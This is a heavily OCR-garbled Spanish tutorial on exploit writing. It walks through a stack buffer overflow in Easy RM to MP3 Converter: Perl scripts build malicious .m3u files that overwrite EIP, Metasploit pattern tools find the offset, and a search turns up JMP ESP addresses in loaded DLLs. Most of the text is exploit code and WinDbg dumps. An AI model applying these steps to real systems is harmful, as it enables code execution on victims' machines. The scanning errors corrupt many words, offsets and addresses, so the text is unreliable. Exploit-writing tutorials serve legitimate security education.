uuuuuuuu L beisLLLL LocoouLo e A AT ) h B LI £ A e L s L
(400.110% . Access wviolation — code 0000005 (11 second chance |11)
eax=00000001 sbx=00104a58 ecx=7c91005d edz=00000040 e=si=77chfcel edi=00007530
ISP ==p=000ff730 sbp=003440c0 iopl=0 nv up 21 pl nz na pe nc
cs=001b ===0023 d==0023 es=0023 f==003b g=s=0000 efl=00000206
Mizsing image name,. possible paged-out or corrupt data.

Hi==ing image name. possible paged-out or corrupt data.

Mizsing image name,. possible paged-out or corrupt data.
¢Unloaded P32 dll:+0=x42424231:

42424242 7Y e
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OK. Entonces, EIP contiene 42424242 (BBBB). Ya sal®eque EIP tiene
un Offset entre 25000 y 30000. También podemos drigmmos ver las
demas B’s en memoria a donde apunta ESP. DadolBued=sobrescrito
antes del final del buffer de 30 caracteres.

Buffer :
[ 5000 B's

]
[ AAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBB | [ BBBB ] [ BBBBBBBBB. . .

o]
25000 A's

Miremos en el Dump el contenido de ESP:

0:000> d esp

0001730 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000740 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff750 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff760 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000Ff770 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0001780 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0001790 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff7a0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0:000> d

000ff7b0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff7cO 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff7d0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff7e0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000Ff7f0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0001800 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
00011810 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
00011820 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0:000> d

0001830 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
00011840 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0001850 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0001860 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000870 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
00011880 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0001890 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff8a0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB

Son buenas noticias. Hemos sobrescrito EIP con BB&inbién podemos
ver nuestro buffer en ESP.
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Antes de comenzar a hacer el script, necesitamosngar la ubicacion
exacta en nuestro buffer que sobrescribe EIP. &acantrarla, usaremos
Metasploit. Es una herramienta que nos ayudaralailaa el Offset.
Generara una string que contiene patrones Unicsendd este patron vy el
valor de EIP después de usar el patron en nuestnova .m3u malicioso,
podemos ver cuan grande deberia ser el buffergsar#ir en EIP.

Abre la carpeta de herramientas en la carpeta Kvark8 de Metasploit
(estoy usando una version de Linux de MetasplaiteBerias encontrar una
herramienta llamada pattern_create.rb. Crea udmae 5000 caracteres y
escribelos en un archivo.

root@bt:/pentest/exploits/framework3/tools#
./pattern_create.rb

Usage: pattern_create.rb length [set a] [set b] [set c]
root@bt:/pentest/exploits/framework3/tools#
./pattern_create.rb 5000

Edita el script de Perl y reemplaza el conteniddbimk2 con nuestros
5000 caracteres.

my $file= "crash25000.m3u";

my $junk = "\x41" x 25000;

my $junk2 = “Pon los 5000 caracteres aqui”
open($FILE,">$file");

print $FILE $junk.$junk2;

close($FILE);

print "Archivo m3u creado exitosamente\n";

Crea el archivo .m3u. Abre este archivo en EasytBMIP3, espera hasta
gue la aplicaciéon muera de nuevo y toma nota dekoido de EIP.

HodLoad: 76990000 769b5000 CoSWINDOWS svystend2~ntshrui . dll

ModLoad: 76bZ0000 7eb31000 C SWINDOWS systen3d2~ATL DLL

(870.72c): Access wviolation — code 0000005 (11! second chance 11}

=ax TRl ebz=00104a58 =cx=7c91005d =d=x=003f0000 e=si=77chicel =di=00007530
2ip3356b4234 |esp=000££730 =bp=0034368 iopl=0 nv up i pl nE¥ na pe nc
ce=00tE=—=s==0023 d==0023 e==0023 f==003L g==0000 =ef1=00000206
Hi=z=ing image name. pos=ible paged-out or corrupt data.

Hiz=ing image name, possible paged-out or corrupt data.

Hiz=ing image name,. possible paged-out or corrupt data.

¢Unloaded P32.d11:>4+0x356b4223:

35eb4234 77 s

En este momento, EIP contiene 0x356b4234. (Not#elendian: hemos
sobrescrito EIP con 34 42 6b 35 = 4BKk5)
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Ahora, usemos una segunda herramienta de Metagaat calcular la
longitud exacta del buffer antes de escribir en. Bl§régale el valor de
EIP basado en el archivo del patron y la longiteldodiffer.

root@bt:/pentest/exploits/framework3/tools#
./pattern_offset.rb 0x356b4234 5000

1094
root@bt:/pentest/exploits/framework3/tools#

1094 es la longitud del buffer que necesitamos paraeschbir EIP.

Entonces, si creas un archivo de 25000+1094 Aisegd le afiades 4 B’s
(BBBB) en hexadecimal, EIP deberia contener 42 2242. También

sabemos que ESP apunta a nuestros datos en elr, baffeonces
agregaremos algunas C’s después de sobrescribir EIP

Probemos. Modifiqguemos el script de Perl para cedaarchivo .m3u
nuevo.

my $file= "eipcrash.m3u";

my $junk= "A" x 26094;

my $eip = "BBBB";

my $espdata = "C" x 1000;
open($FILE,">$file");

print $FILE $junk.$eip.$espdata;
close($FILE);

print "Archivo m3u creado exitosamente\n";

Crea eipcrash.m3u y abrelo en Easy RM to MP3. ®hselrerror y mira
EIP y el contenido de memoria en ESP.

(234 .c78): Access wviolation — code 0000005 (11! =econd chance 1113
eax=00000001 =bx=00104558 ecx=7cY91005d =d==00000040 e=i=77c5fcel =di=000065£9
eip=42424242 e=sp=000££730 ebp=003440c0 iopl=0 nhv up i pl nE na pe nc
c==001b ===0023 d==0023 es=s=0023 f==003b g==0000 ef1=00000206
Hi==ing image name, possible paged-out or corrupt data.

Mis=sing image name, poss=ible paged-out or corrupt data.

Mi=z=ing image name., pos=ible paged-out or corrupt data.
¢Unloaded_F32.d1l:+0=42424231:

42424242 77 Y

0:000> d esp

00011730 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 (CCCCCCcceeccceccce
00011740 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 (CCCCCCcceeccceccce
000ff750 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 (CCCCCCccececcceccce
0001760 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 (CCCCCCccececcceccce
000ff770 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 (CCCCCCccececcceccc
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000780 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 (CCcCCcccccceccccc
000790 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 (CCcCCcccccceccccc
000ff7a0 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 (CCcCCcccccceccccc

En Immunity Debugger, puedes ver el contenido dekcls en ESP,
mirando la ventana inferior izquierda. Excelentd? Eontiene BBBB, lo
cual es exactamente lo que queriamos. Ahora, damtos EIP. Ademas,
ESP apunta a nuestro buffer (C's)

Nota: el Offset mostrado aqui es el resultado délisis en mi PC. Si estas
tratando de reproducir los ejercicios de este iltan tu PC, lo mas
probable es que tengas una direccion de Offsatkedife. Por favor, no solo
tomes el valor del Offset el cédigo fuente a tu REque el Offset esta
basado en el directorio del archivo donde estaadnmado el archivo .m3u.
El buffer que es vulnerable a un desbordamienttuyecel directorio
completo al archivo .m3u. Por lo tanto, si tu diogo es mas pequefio o
mas grande que el mio, entonces el Offset serdedite

Nuestro buffer de exploit luce asi:

Encontrar Espacio en Memoria Alojar la ShellCode

Controlamos EIP. Entonces, podemos redireccion&r &lun lugar que
contenga nuestro codigo (Shellcode) Pero ¢ Déndeetstspacio? ¢ Como
podemos poner nuestra Shellcode en ese lugar? @ @imemos hacer que
EIP salte a ese lugar?

Para crashear o producir un error en la aplicadi@mos escrito 26094
A’s en memoria, hemos escrito un valor en el cadgloEIP guardado
(RET) y hemos escrito muchas C’s.
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Cuando la aplicacion crashée, mira los registresQump de ellos (d esp,
d eax, d ebx, d ebp, ...) Si puedes ver tu buffertgsalas A’s como las
C’s) en uno de los registros, entonces podras tagamfms con Shellcode
y saltar a esa lugar. En nuestro ejemplo, podemosque ESP parece
apuntar a nuestras C’s. Recuerda la salidd dsparriba. ldealmente,
pondriamos nuestra Shellcode en vez de las C’'sdgdenos a EIP que
vaya a la direccion de ESP.

A pesar de que podemos ver las C’s, no estamogsosegjual es la primera
C en la direccién 000ff730 a la cual apunta ESPnl&iaremos el script de
Perl y agregaremos un patron de caracteres. Hedtorhd4 caracteres,
pero tu pudiste haber tomado mas o menos. En v€zgle

my $file= "testl.m3u";

my $junk= "A" x 26094;

my $eip = "BBBB";

my $shellcode =
"1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK"
"SABCDEFGHIJK6ABCDEFGHIJK"
"7ABCDEFGHIJK8ABCDEFGHIJK"
"OABCDEFGHIJKAABCDEFGHIJK".
"BABCDEFGHIJKCABCDEFGHIJK";
open($FILE,">$file");

print $FILE $junk.%$eip.$shellcode;
close($FILE);

print "Archivo m3u creado exitosamente\n";

Crea el archivo, abrelo, deja que la aplicacionmayanira el contenido de
ESP en el Dump.

0:000> d esp

00011730
0001740
00011750
00011760
0001770
00011780
00011790
0001720
0:000> d
000ff7bo
000ff7co
000ff7do
000ff7e0
000ff7f0
00011800
00011810

44 45 46 47 48 49 4a 4b-32 41 42 43 44 45 46 47
48 49 4a 4b 33 41 42 43-44 45 46 47 48 49 4a 4b
34 41 42 43 44 45 46 47-48 49 4a 4b 35 41 42 43
44 45 46 47 48 49 4a 4b-36 41 42 43 44 45 46 47
48 49 4a 4b 37 41 42 43-44 45 46 47 48 49 4a 4b
38 41 42 43 44 45 46 47-48 49 4a 4b 39 41 42 43
44 45 46 47 48 49 4a 4b-41 41 42 43 44 45 46 47
48 49 4a 4b 42 41 42 43-44 45 46 47 48 49 4a 4b

43 41 42 43 44 45 46 47-48 49 4a 4b 00 41 41 41
41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41

DEFGHIJK2ABCDEFG
HIJK3ABCDEFGHIJK
4ABCDEFGHIJK5ABC
DEFGHIJK6ABCDEFG
HIJK7ABCDEFGHIJK
8ABCDEFGHIJKSABC
DEFGHIJKAABCDEFG
HIJKBABCDEFGHIJK

CABCDEFGHIJK.AAA
AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA
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00011820 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

OK. Podemos ver 2 cosas interesantes aqui.

ESP comienza en el 5to caracter de nuestro patn@ney primero.

TU puedes revisar este foro.

https://www.corelan.be/index.php/forum/exploit-wrd-general-
questions/exploit-writing-tutorial-python-problems/

Después del patréon de string, vemos A’s. La maywiallas pertenecen a
la primera parte del buffer de (26101 A’s) Entondesnbién podemos
poner nuestra Shellcode en la primera parte détibahtes de sobrescribir
el RET.

Pero, aun no. Primero, agregaremos 4 caractefiesntd del patron y hacer
la prueba de nuevo. Si todo sale bien, ESP debpuatar directamente al
principio de nuestro patron.

my $file= "testl.m3u";

my $junk= "A" x 26094;

my $eip = "BBBB";

my $preshellcode = "XXXX";

my $shellcode =
"1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK"
"SABCDEFGHIJK6ABCDEFGHIJK"
"7ABCDEFGHIJK8ABCDEFGHIJK"
"9ABCDEFGHIJKAABCDEFGHIJK".
"BABCDEFGHIJKCABCDEFGHIJK";
open($FILE,">$file");

print $FILE $junk.$eip.$preshellcode.$shellcode;
close($FILE);

print "Archivo m3u creado exitosamente\n";

Deja que la aplicacion crashée y mira ESP de nuevo:

0:000> d esp

00011730 31 41 42 43 44 45 46 47-48 49 4a 4b 32 41 42 43 1ABCDEFGHIJK2ABC
00011740 44 45 46 47 48 49 4a 4b-33 41 42 43 44 45 46 47 DEFGHIJK3ABCDEFG
000ff750 48 49 4a 4b 34 41 42 43-44 45 46 47 48 49 4a 4b HIJK4ABCDEFGHIJK
000ff760 35 41 42 43 44 45 46 47-48 49 4a 4b 36 41 42 43 SABCDEFGHIJK6ABC
000ff770 44 45 46 47 48 49 4a 4b-37 41 42 43 44 45 46 47 DEFGHIJK7ABCDEFG
00011780 48 49 4a 4b 38 41 42 43-44 45 46 47 48 49 4a 4b HIJK8ABCDEFGHIJK
0001790 39 41 42 43 44 45 46 47-48 49 4a 4b 41 41 42 43 9ABCDEFGHIJKAABC
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000ff7a0 44 45 46 47 48 49 4a 4b-42 41 42 43 44 45 46 47 DEFGHIJKBABCDEFG
0:000> d

000ff7b0 48 49 4a 4b 43 41 42 43-44 45 46 47 48 49 4a 4b  HIJKCABCDEFGHIJK
000ff7cO0 00 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 . AAAAAAAAAAAAAAA
000ff7d0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff7e0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff7f0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000800 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000810 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00011820 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

Mucho mejor. Ahora, tenemos:

« Control sobre EIP.

* Un &rea donde escribir nuestro codigo, por lo lytéshde largo. Si
haces mas pruebas con patrones mas largos, verdergiras mas
espacio. De hecho, mucho espacio.

* Un registro que apunta directamente a nuestro ogghga direccion
0x000ff730.

Ahora, necesitamos:

e Construir una Shellcode real.

» Decirle a EIP que salte a la direccion del comietiezda Shellcode.
Podemos hacer esto sobrescribiendo EIP con OxGBDff7

Veamos.

Haremos una pequefa prueba: Primero 26094 A’sgp laebrescribimos
EIP con 0x000ff730, luego un BP y después mas NCH sodo queda
bien, el cédigo deberia pasar por BP.

my $file= "testl.m3u";

my $junk= "A" x 26094;

my $eip = pack('V',0x000ff730);

my $shellcode = "\x90" x 25;

$shellcode
$shellcode

$shellcode."\xcc";
$shellcode."\x90" x 25;

open($FILE,">$file");

print $FILE $junk.$eip.$shellcode;
close($FILE);

print "Archivo m3u creado exitosamente\n";
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La aplicacion murio, pero esperabamos un BP en deezun Access
Violation. Cuando miramos EIP, apunta a 0x000ffy ESP también.

Cuando vemos ESP en el Dump, no encontramos lesperdbamos.

€ax=00000001 ebx=00104a58 ecx=7c91005d edx=0000OV40 esi=77c5fced edi=0000O662C
eip=000f{730 esp=000ff730 ebp=003440c0 iopl=0 nv up ei pl nz na pe nc
€s=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 ef1=00000206
Missing image name, possible paged-out or corrupt data.

Missing image name, possible paged-out or corrupt data.

Missing image name, possible paged-out or corrupt data.
<Unloaded_P32.dll>+0xff71f:

000ff730 0000 add byte ptr [eax],al

ds:0023:00000001=""?

0:000> d esp

000ff730 0O 00 00 00 06 0O 00 00-58 42 10 00 01 00 00 00 ........ YXoooooos
000ff740 30 f7 Of 00 00 00 00 00-41 41 41 41 41 41 41 41 0Q....... AAAAAAAA
000ff750 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff760 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff770 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00011780 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00011790 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff7a0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

Entonces, brincar directamente a una direccion emania puede que no
sea una buena solucion después de todo. 0x000f@BGene un byte

NULL el cual es un terminador de string. Entonéas,A"s que ves vienen
de la primera parte del buffer. Nunca alcanzamospwito donde

comenzamos a escribir nuestros datos después ascobir EIP.

Ademas, usando una direccion de memoria para saltan exploit haria al
exploit poco seguro. Después de todo, esta dine@®dmemoria pudo ser
diferente en otras versiones de SO, lenguajes, etc.

Reflexion: No podemos solamente sobrescribir EIR woa direccion de
memoria directa tal como 0x000ff730. No es una huelea porgue no
seria seguro y porque contiene un byte NULL. Terseopoe usar otra
técnica para lograr el mismo objetivo: lograr gaeablicacion salta a
nuestro codigo. Podriamos referenciar un registro @ffset a un registro,
ESP en nuestro caso, y encontrar una funcion gie saese registro.
Entonces, trataremos de sobrescribir EIP con kcdidn de esa funcion y
deberia haber tiempo para panqueques y helado.
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Saltar a la Shellcode en una Forma Segura

Hemos logrado poner nuestra Shellcode exactameaidede apunta ESP o
si lo ves de otro angulo ESP apunta al inicio destra Shellcode. Si ese no
hubiera sido el caso, hubiéramos mirado los cothbsnie otras direcciones
de registros y esperar encontrar nuestro buffertodas maneras, en este
ejemplo particular, podemos usar ESP. La razoraslete escribir EIP con
la direccion de ESP era que gueriamos que la apitaaltara a ESP vy
ejecutar la Shellcode. Saltar a ESP es algo muyinan las aplicaciones
de Windows. De hecho, las aplicaciones de Windosanwna o mas
DLL’s y estas DLL’s contienen muchas instrucciodescodigo. Por lo
tanto, las direcciones usadas por estas DLL’s ashestaticas. Entonces,
podriamos encontrar una DLL que contenga la insibuncpara saltar a
ESP. Si podemos sobrescribir EIP con la direcci@resh instruccion en
esa DLL, deberia funcionar, ¢ correcto? Veamos.dPandebemos buscar
cudl es el opcode para el IMP ESP. Podemos hagedatando Easy RM
to MP3, luego abrir atachandolo con Windbg. Este d@ la ventaja de ver
las DLL"s/modulos que son cargados por la aplicac8e vera mejor por
asi decirlo.

&1 winDbg:6.11.0001,404

File Edit “iew Debug Window Help
|| & E E||_|l|ﬂ1|3|_h|_l}{} GFul0DREEE

Attach to Process X

1428 IrelKE exe N
1620 =vchos=t . exe

1876 =poolsv. exe

- 208 =vchos=t . exe

- 252 wnsrvo. exe

- 356 wpcmap.exes

- b2 alg.exe

2000 w=cntfiv. exe

- 512 explorer.cs=xes

-1852 wvnusrvo. exe

- 460 ctimon. exe

- 996 SafeCig.exe

- 564 dllho=t . exe

-3992 rubv. exe

<2708 cmd . exe

-1804 bash.exe

4040 cmd . exe

-1872 wuauclt  exe

- 2908 notepad.exe

758 RMZMP3Converter . exe ~

—Sort
{+ Sustem order " BylD {" By Executable

Process D
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Al atachar el proceso, la aplicacion se detendndaHinea de comando de
Windbg, en la parte inferior de la pantalla, eseriflensamblad y presiona
enter, luego escribe jmp esp y presiona enter demu

PRSI I LA fiAasuuuy dLasuuUu b SWLLILAW ) Y D LTl S MWLV L B L L

{asd fdd): Break instruction exception — code 80000003 {first chance)
eax=7f{{db000 ebx=00000001 ecx=00000002 =edz=00000003 e=i=00000004 =di=00000005
eip=7c90120e esp=02c2ifcc ebp=02c2fffd iopl=0 nv up =1 pl zr na pe nc
c==001b ===0023 ds=s=0023 e=s=0023 {==0038 g==0000 ef1=00000246
*%% EEROE: Symbol file could not be found. Defaulted to export svmbols for CWINDOWS-system32-ntdll.dll -
ntdll | DbgBreakPoint :

70901208 co int 3

0:014> a

78901202 jup esp

inp esp

Pulsa enter de nuevo y escribe (desensamb$aguido por la direccion
gue fue mostrada antes de escribir jmp esp.

0:014> u 7c90120e
ntdl1l!DbgBreakPoint:

7¢90120e ffed jmp esp

7c901210 8bff mov edi,edi
ntdll!DbgUserBreakPoint:

7¢901212 cc int 3

7¢901213 c3 ret

7c901214 8bff mov edi,edi

7¢901216 8b442404 mov eax,dword ptr [esp+4]
7¢c90121a cc int 3

7¢90121b c20400 ret 4

Al lado de 7¢90120e, puedes vefe4. Este es el opcode para el jmp esp
Ahora, necesitamos encontrar ese opcode en unasdelL’s cargadas.
Mira la parte superior de la ventana de Windbg schudineas que indiquen
DLL s que comienzan para la aplicacion Easy RM #3M

Microsoft (R) Windows Debugger Version 6.11.0001.404 X86
Copyright (c) Microsoft Corporation. All rights reserved.

*** wait with pending attach

Symbol search path is: *** Invalid ***

3k 3k 3k 3k 5k 3k 5k >k 3k >k 5k >k 3k 5k 3k >k 3k 5k >k 3k >k 5k >k 5k 5k k >k >k 5k 3k >k 3k 5k 3k 5k >k 3k >k 3k >k 5k >k 3k 5k >k 5k 3k >k >k 3k >k 3k >k 3k 5k >k 5k >k 5k >k 5k >k >k >k %k >k 3k >k >k >k %k >k *k k k k
* Symbol loading may be unreliable without a symbol search path. o
* Use .symfix to have the debugger choose a symbol path. o
* After setting your symbol path, use .reload to refresh symbol locations. *
3k 3k 3k 3k 3k 3k 5k >k 3k >k 5k >k 3k ok 3k >k 3k 5k >k 3k >k 5k >k 3k 5k k >k >k 5k 3k >k 3k 5k 3k 3k >k 3k >k 3k >k 5k >k 3k 5k >k 5k 3k >k >k 3k >k 3k >k 3k 5k >k 5k >k 5k >k 5k >k >k >k %k >k 3k >k %k >k %k >k *k k k k
Executable search path is:

ModLoad: 00400000 004be000 C:\Program Files\Easy RM to MP3 Converter\RM2MP3Converter.exe
ModLoad: 7c900000 7c9b2000 C:\WINDOWS\system32\ntdll.d1ll

ModLoad: 7c800000 7c8f6000 C:\WINDOWS\system32\kernel32.d1l1l

ModLoad: 78050000 78120000 C:\WINDOWS\system32\WININET.d11l

ModLoad: 77c10000 77c68000 C:\WINDOWS\system32\msvcrt.dll
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ModLoad: 77f60000 77fd6000
ModLoad: 77ddooee 77e6booo
ModLoad: 77e70000 77102000
ModLoad: 77fe0000 77ff1000
ModLoad: 77f10000 7759000
ModLoad: 7e410000 7e4a1000
ModLoad: 00330000 00339000
ModLoad: 78000000 78045000
ModLoad: 77c00000 77c08000
ModLoad: 73dd0000 73ece000
ModLoad: 763b0000 76319000
ModLoad: 5d090000 5d12a000
ModLoad: 7c9c0000 7d1d7000
ModLoad: 76080000 760e5000
ModLoad: 76b40000 76b6d000

:\WINDOWS\system32\SHLWAPI.d1l1l
:\WINDOWS\system32\ADVAPI32.d1l1l
:\WINDOWS\system32\RPCRT4.d11l
:\WINDOWS\system32\Secur32.dll
:\WINDOWS\system32\GDI32.d1l1l
:\WINDOWS\system32\USER32.d11
:\WINDOWS\system32\Normaliz.d1l1l
:\WINDOWS\system32\iertutil.d1ll
:\WINDOWS\system32\VERSION.d11l
:\WINDOWS\system32\MFC42.DLL
:\WINDOWS\system32\comdlg32.d1l1l
:\WINDOWS\system32\COMCTL32.d11
:\WINDOWS\system32\SHELL32.d11
:\WINDOWS\system32\MSVCP60.d11
:\WINDOWS\system32\WINMM.d11

ModLoad: 76390000 763ad000 :\WINDOWS\system32\IMM32.DLL

ModLoad: 773d0000 774d3000 : \WINDOWS\WinSxS\x86_Microsoft.Windows.Common-
Controls_6595b64144ccfldf 6.0.2600.5512 x-ww_35d4ce83\comctl32.d1ll

ModLoad: 74720000 7476c000 :\WINDOWS\system32\MSCTF.d11l

ModLoad: 755c0000 755ee000 :\WINDOWS\system32\msctfime.ime

ModLoad: 774e0000 7761d000 :\WINDOWS\system32\ole32.d1l1l

ModLoad: 10000000 10071000 :\Program Files\Easy RM to MP3 Converter\MSRMfiltere3.dll
ModLoad: 71ab0@eo 71ac7000 : \WINDOWS\system32\WS2_32.d11

ModLoad: 71220000 71228000 :\WINDOWS\system32\WS2HELP.d11

ModLoad: ©0ce0000 00d71000 :\Program Files\Easy RM to MP3 Converter\MSRMfiltero1.dll
ModLoad: 01290000 901b01000 :\Program Files\Easy RM to MP3 Converter\MSRMCcodec©0.dll
ModLoad: ©0c80000 ©00c87000 :\Program Files\Easy RM to MP3 Converter\MSRMCcodec01.dll
ModLoad: 01b10000 01fddooo :\Program Files\Easy RM to MP3 Converter\MSRMCcodec©2.dll
ModLoad: 01fe0000 01ff1000 :\WINDOWS\system32\MSVCIRT.d1l1l

ModLoad: 77120000 771ab00o :\WINDOWS\system32\OLEAUT32.d11

O 000 0000000000060 nN

0O 0O N0 N0 o0 000000 n

Si podemos encontrar el opcode en una de esas Datances tendremos
la oportunidad hacer que el exploit trabaje bien pataformas de

Windows. Si necesitamos utilizar una DLL que permma al sistema
operativo, SO, podriamos encontrar que el exploifumcione para otras
versiones del SO. Entonces, busquemos el areaadgeuBasy RM to MP3

primero. Buscaremos en el area de C:\Archivos dgrama\Easy RM to

MP3 Converter\MSRMCcodec02.dll. Esta DLL es cargawtae 01b10000

y 01fd000. Busca esta area [ia¥!.

0:014> s 01b10000 1 01fddeeo ff ed

0lccf23a ff e4 ff 8d 4e 10 c7 44-24 10 ff ff ff ff e8 f3 ....N..D$.......
01de023f ff e4 fb 4d 1b a6 9c ff-ff 54 a2 ea 1la d9 9c ff ...M..... Toooooc
01d1d3db ff e4 ca ce 01 20 05 93-19 09 00 00 00 00 d4 d1 ..... ..........
01d3b22a ff e4 07 07 f2 01 57 f2-5d 1c d3 e8 ©9 22 d5 do ...... W.]...."..
01d3b72d ff e4 09 7d e4 ad 37 df-e7 cf 25 23 ¢9 a0 4a 26 ...}..7...%#..J&
01d3cd89 ff e4 03 35 f2 82 6f dl-0c 4a e4 19 30 f7 b7 bf ...5..0..J..0...
01d45c9e ff ed4 5c 2e 95 bb 16 16-79 e7 8e 15 8 f6 f7 fb ..\..... Yoooocooo0
01d503d9 ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d ..... wl...h...T.
01d51400 ff ed4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 do 50 ...8%.gD...u...P
01d5736d ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d ..... wl...h...T.
01d5ce34 ff ed4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 do 50 ...8%.gD...u...P
01d60159 ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d ..... wl...h...T.
01d62ec® ff ed4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 do 50 ...8%.qD...u...P

0221135b ff e4 49 20 02 e8 49 20-02 00 00 00 00 ff ff ff ..I ..I ........
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0258ea53 ff e4 ec 58 02 00 00 00-00 00 00 00 00 08 02 a8 ...X............

Excelente. No me esperaba otra. JMP ESP es umaccisn muy comun.
Cuando seleccionamos una direccién, es muy imgertauscar caracteres
NULL. Deberias tratar de evitar usar direccionespeeialmente si
necesitas usar los datos del buffer que vienerudesge que se sobrescribe
EIP. El caracter NULL se convertiria en un termivade string y el resto
de los datos del buffer quedarian inservibles.

Otra buena area para buscar opcodes es: “s 70000666 ff e4” que
tipicamente daria resultados de DLL’s de Windows.

Nota: hay otras formas para conseguir direcciones.
FindJmp de Ryan Permeh.

http://www.mediafire.com/?7ui778v8w6cdny8

Compila findjmp.c y ejecutalo con los siguientasgmetros:

findjmp <DLLfile> <register>. Imagina que quieresdear saltos a ESP en
kernel32.dll, run “findjmp kernel32.dll esp”

En Vista SP2, deberia de aparecer algo asi:

Findjmp, Eeye, 12S-LaB

Findjmp2, Hat-Squad

Scanning kernel32.dll for code useable with theregpster
Ox773AF74B  call esp

Finished Scanning kernel32.dll for code useablé e esp register
Found 1 usable addresses

La base de datos de opcodes de Metasploit.

Memdump (ver uno de los préximos tutoriales)

Pvefindaddr es un plugin para Immunity DebuggerhBeho, este es muy
recomendado filtrara los punteros inseguros auioaraente.

Desde que queremos poner nuestra Shellcode enaEGRll esta ubicada
en nuestra string del payload después de sobriedelh La direccion del
JMP ESP de la lista no debe tener bytes NULL. & taviera,
sobrescribiriamos una direccién que contenga bytdd.. Los cuales son
terminadores de strings, por lo tanto, todo lolgusga sera ignorado.
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En algunos casos, estara bien tener una direggiéncomience con un
caracter NULL. Si la direccién comienza asi porseadel little endian, el
byte NULL seria el ultimo byte en el registro EBl.no estas enviando
ningun payload después de sobrescribir EIP (Engraido Shellcode es
